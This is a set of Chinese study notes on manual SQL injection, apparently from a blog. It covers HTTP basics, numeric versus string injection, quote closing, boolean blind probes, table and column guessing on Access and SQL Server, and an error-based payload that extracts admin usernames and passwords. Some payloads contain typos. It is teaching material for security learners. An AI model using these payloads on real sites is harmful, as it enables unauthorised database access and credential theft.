手工sql注入(重点)
sql 子查询:() select goods_name from goods where goods_id=(select max(goods_id) from goods);
联合查询:select * from boy union select *from girl select 查库 11,hid,bname from boy union select uid,name,age
from user
information_schema
http 协议
tcp 1-65535
udp 1-65535
防火墙
80,443,53
HTTP 针对web的攻击
Web: 前端+后端+数据库
前端 :用户交易 html (标签语言),css(样式表),Javascript (动态处理)
通讯 :http/ https 协议 **
后端 : c -->php / J(java)SP /ASP/ASPX(.NET)
数据库 :关系型数据库 MySQL Oracle db2 SqlServer msSQL 非MongoDB
HTTP
请求request
回复responset
POST /login.php HTTP/1.1 ##请求行
HOST: www.xxx.com(键值对,前键后值##一行)##请求头
User-Agent: Mozilla/5.0(windows NT 6.1;rv15.0)Gecko/20100101 firefox/1.5
//空白行,带表请求头结束
Username=admin&password=admin //请求正文
与HTTP请求对应的是HTTP响应,HTTP响应也是由3部分组成,分别是:响应行,响应头(消息报头),响应正文(消息主体)
(HTTP头详解)ß(配套群里HTTP头详解食用)
HTTP/1.1 200 OK /响应行
Date:Thu,28 Feb 2013 07:36:47 GMT //响应头
SERVER:
Content-Length
….
// 空白行,代表响应头结束
<html> //响应正文或叫消息主体
<head><title>index.html</title></head>
<html>
**闭合**
SQL注入
原理:用户对SQL注入语句的可控性,可以输入数据库指令,被SQL解释器执行,导致数据库被用户控制
分类:
数字型+字符型
数字型注入多存在于asp和php网站的应用程序中,因为ASP和PHP输入弱类型语言,例如:参数id=5,PHP会自动来推导变量id的类型为int类型语言,那么id=5 and 1=1 则会推导为string类型,这是弱类型语言的特性;而Java,c#这类强类型语言,如果试图把一个字符串转换为int类型,处理不当则会抛出异常,无法继续执行。这方面强类型语言比弱类型语言有先天优势,所以作为一个合格的程序员,在数据类型处理方面一定要严格设置
Id=5 and 1=1
Select * from table where id=8
字符型注入
输入参数为字符串时
例:
Select * from table where username = ‘ admin ‘
Select * from table where username= ‘ 8’ or 1=1 –‘
Select * from table where username= like ‘%admin%’
http://www.xxx.com/goods.asp?goods_name=N85 ' and 1=1
select * from goods where goods_name ='N85 '(浅闭合单引号) and 1=1 or '''
只要是字符串则必须单引号闭合以及代码注释,无论是select注入,insert注入,或者其他类型的注入
例如update语句:某常见的卖家修改商品名称的功能,SQL语句如下:update goods set goods_name = ‘ipone X ‘ where goods_id =3;
现在需要对SQL语句注入,这需要闭合,可在name插入语句为’+(select name from users where id=1)+’,最终执行的SQL语句为:
Update goods set goods_name=’ ‘+(select name from users where id=3+’ ‘ where good_id=1;
利用两次单引号闭合才能完成这一次的闭合
注意:根据数据库的不同,字符串连接符也不同,如SQLserver连接字符是“+”,Oracle 连接符为“||”,MySQL 连接符为空格
其他分类方法
注入点不同:
- Cookie注入,POST 注入,get注入,搜索型注入
利用的SQL语句不同:
- Update注入,select注入,union注入
注入显错方式不同:
- 错注入,盲注
花式高级
- 延时注入(boolen,二分法),二次注入
注入思路
- 判断是否有注入点
- 注入点类型判断(数字 or 字符 )
- 判断数据库 (Acess,MySQL,msSQL,Oracle,其他)
- 查询有哪些库(acess可以跳过)
- 查询有哪些表
- 查询某个表有哪些列
- 查询每一条记录的内容
主信道
80 http HTML
侧信道
电源, 空气,声音 ,时间* ,53 dns协议*,SIM卡 ,示波器
不能用等号时
|| 555*666=666*555*1;
|| 555*666 in (666*555*1,1);
|| 555*666 like 666*555*1;
手工注入
- 判断注入点
(1) and 1=1
(2) and 1=2
- 简单判断数据库类型
. and exists(select count(*) from msysobjects)(msysobjects表为access特有的,但默认无权限读取)
and exists(select count(*)from sysobjects)(sysobjects是SQLserver特有的)
0<(select top 1 asc(mid(admin,1,1)) from admin) (top2:前两行)(top 1: 前一行 横行 参数1从第一位开始取 参数2:取1位字母)
- 猜表名称:
And 0<=(select count(*) from admin) –判断是否有admin这张表
- 猜表中账户的数目(行数)
and 0< (select count(*) from admin) –判断admin这张表里是否有数据
and 0< (select count(*) from admin) –判断是否有1条以上的数据
- 猜测字段名称 count括号里加上我们想到的字段名称
and 0< (select count(admin) from admin)
- 猜各个内容的长度
and (select top 1 asc(mid(admin,1,1)) from admin)>0 说明内容长度大于等于1
and (select top 1 asc(mid(admin,2,1)) from admin)>0 说明内容长度大于等于2
and (select top 1 asc(mid(admin,3,1)) from admin)>0 说明内容长度大于等于3
and (select top 1 asc(mid(admin,6,1)) from admin)>0 说明内容长度大于等于6
and (select top 1 asc(mid(admin,7,1)) from admin)>0 说明内容长度大于等于7
- 猜字段内的内容
and (select top 1 asc(mid(字段名,从第几位开始,取几个字符)) from admin)>$0$ -不报错一直测量下去
读取字段值
Select * from c_content where contented = 3uion select 1from (select count(*),concat(float(rand(0)*100), (select concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e) from xdcm.s_admin limit 0,1))a from information_schema.tables group by a)b#
手工sql注入(重点)的更多相关文章
- 【web安全】第六弹:手工SQL注入详解
前一段时间,在对SQL注入有了新的理解之后,写了这篇文章.本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章 ...
- 手工sql注入简单入门
1.判断是否可以注入: 数字型: 1.1在参数后面加一个引号',如果页面报数字number错误,则一定不是sql注入点:如果报数据库比如mysql.oracle之类的错误,则是一个sql注入点. 1. ...
- 渗透常用手工SQL注入语句合集
1.判断有无注入点; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select ...
- 手工sql注入判断是否存在注入点
1.加入单引号 ’提交,结果:如果出现错误提示,则该网站可能就存在注入漏洞.2.数字型判断是否有注入;语句:and 1=1 ;and 1=2 (经典).' and '1'=1(字符型)结果:分别返回不 ...
- 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞
目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...
- 一篇文章带你了解SQL注入
什么是SQL注入? 原理: Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令 危害: 注入可能导致数据丢失泄露或数据破坏.缺乏可审计性,有时甚至能导致完全接管 ...
- 『SQL注入』 User-Agent 手工注入的探测与利用分析
原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行. Bug 代码: 本地顺手打了一个环境,Bug 代码部分: ...
- 手工检测SQL注入漏洞
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...
- SQL注入之PHP-MySQL实现手工注入-数字型
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...
随机推荐
- 304902阿里巴巴Java开发手册1.4.0
转自官网 前言 <阿里巴巴Java开发手册>是阿里巴巴集团技术团队的集体智慧结晶和经验总结,经历了多次大规模一线实战的检验及不断完善,系统化地整理成册,回馈给广大开发者.现代软件行业的高速 ...
- 30255Java_5.5 GUI
GUI GUI的各种元素(如:窗口,按钮,文本框等)由Java类来实现 1.AWT 使用AWT所涉及的类一般在java.awt包及其子包中 AWT(Abstract Window Toolkit)包括 ...
- 简单看看java之枚举
枚举类这个类用的比较少,对这个不怎么熟悉,最近看源码刚好可以好好了解一下,那么,枚举Enum是什么呢?在jdk中,Enum是一个抽象类下图所示,这就说明这个类是不能进行实例化的,那么我们应该怎么使用呢 ...
- ZooKeeper —— 单机环境和集群环境搭建
一.单机环境搭建 1.1 下载 下载对应版本Zookeeper,这里我下载的版本3.4.14.官方下载地址:https://archive.apache.org/dist/zookeeper/ # w ...
- AbstractQueuedSynchronizer(AQS)源码解析
关于AQS的源码解析,本来是没有打算特意写一篇文章来介绍的.不过在写本学期课程作业中,有一门写了关于AQS的,而且也画了一些相关的图,所以直接拿过来分享一下,如有错误欢迎指正. ...
- 【Idea】JUnit单元测试%MODULE_WORKING_DIR%' does not exist
Idea执行单元测试时报错:上午9:35 Error running 'MobileMessageImplTest.java': Cannot start process, the working d ...
- 100天搞定机器学习|Day1数据预处理
数据预处理是机器学习中最基础也最麻烦的一部分内容 在我们把精力扑倒各种算法的推导之前,最应该做的就是把数据预处理先搞定 在之后的每个算法实现和案例练手过程中,这一步都必不可少 同学们也不要嫌麻烦,动起 ...
- code forces 1173 B. Nauuo and Chess
本文链接:https://www.cnblogs.com/blowhail/p/10991237.html B. Nauuo and Chess 原题链接:http://codeforces.com ...
- 记2017青岛ICPC
2017青岛ICPC 11月4日 早上很早到达了青岛,然后去报道,走了好久的校园,穿的很少冷得瑟瑟发抖.中午教练请吃大餐,吃完饭就去热身赛了. 开幕式的时候,教练作为教练代表讲话,感觉周围的队伍看过来 ...
- Ng-Matero:基于 Angular Material 搭建的中后台管理框架
前言 目前市面上关于 Angular Material 的后台框架比较少,大多都是收费主题,而且都不太好用. 很多人都说 Material 是一个面向 C 端的框架,其实在使用其它框架做管理系统的时候 ...